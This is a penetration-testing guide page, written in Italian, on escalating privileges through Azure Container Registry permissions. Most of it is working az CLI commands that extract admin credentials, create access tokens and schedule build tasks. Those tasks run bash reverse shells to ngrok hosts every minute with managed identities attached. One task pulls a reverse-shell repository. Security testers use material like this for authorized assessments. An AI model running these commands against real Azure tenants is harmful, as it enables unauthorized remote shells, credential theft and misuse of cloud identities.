# Az - Azure Container Registry Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Azure Container Registry

Per ulteriori informazioni controlla:

{{#ref}}
../az-services/az-container-registry.md
{{#endref}}

### `Microsoft.ContainerRegistry/registries/listCredentials/action`

Questo permesso consente all'utente di elencare le credenziali di amministrazione dell'ACR. Questo è utile per **ottenere accesso completo** al registro.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
```
Nel caso in cui le credenziali di amministratore non siano abilitate, avrai anche bisogno del permesso `Microsoft.ContainerRegistry/registries/write` per abilitarle con:
```bash
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
```
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`

Queste autorizzazioni consentono all'utente di **creare un nuovo token** con password per accedere al registro.

Per utilizzare `az cli` per generarlo come nell'esempio seguente, avrai anche bisogno delle autorizzazioni `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read`
```bash
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
```
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`

Queste autorizzazioni consentono all'utente di **costruire ed eseguire un'immagine** nel registro. Questo può essere utilizzato per **eseguire codice** nel contenitore.

>[!WARNING]
> Tuttavia, l'immagine verrà eseguita in un **ambiente isolato** e **senza accesso al servizio di metadata**. Ciò significa che il contenitore non avrà accesso ai **metadata dell'istanza**, quindi questo non è realmente utile per l'escalation dei privilegi.
```bash
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
```
### `Microsoft.ContainerRegistry/registries/tasks/write`

Questa è l'autorizzazione principale che consente di creare e aggiornare un'attività nel registro. Questo può essere utilizzato per **eseguire un codice all'interno di un contenitore con un'identità gestita ad esso associata** nel contenitore.

Questo è un esempio su come eseguire una reverse shell in un contenitore con l'identità **gestita dal sistema** ad essa associata:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
Un altro modo per ottenere un RCE da un task senza utilizzare un repository esterno è usare il comando `az acr task create` con il flag `--cmd`. Questo ti permetterà di eseguire un comando nel container. Ad esempio, puoi eseguire una reverse shell con il seguente comando:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
```
> [!TIP]
> Nota che per assegnare l'identità gestita dal sistema non hai bisogno di permessi speciali, anche se deve essere stata abilitata in precedenza nel registro e assegnati alcuni permessi affinché sia utile.

Per assegnare anche un **'identità gestita dall'utente** avresti bisogno del permesso `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` per fare:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
Per **aggiornare** il repo di un'attività esistente puoi fare:
```bash
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
```
### `Microsoft.ContainerRegistry/registries/importImage/action`

Con questo permesso è possibile **importare un'immagine nel registro azure**, anche senza avere l'immagine localmente. Tuttavia, nota che **non puoi importare un'immagine con un tag** che esiste già nel registro.
```bash
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
```
Per **rimuovere o eliminare un tag di immagine specifico** dal registro, puoi utilizzare il seguente comando. Tuttavia, nota che avrai bisogno di un utente o di un token con **sufficienti permessi** per farlo:
```bash
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>

az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
```
{{#include ../../../banners/hacktricks-training.md}}
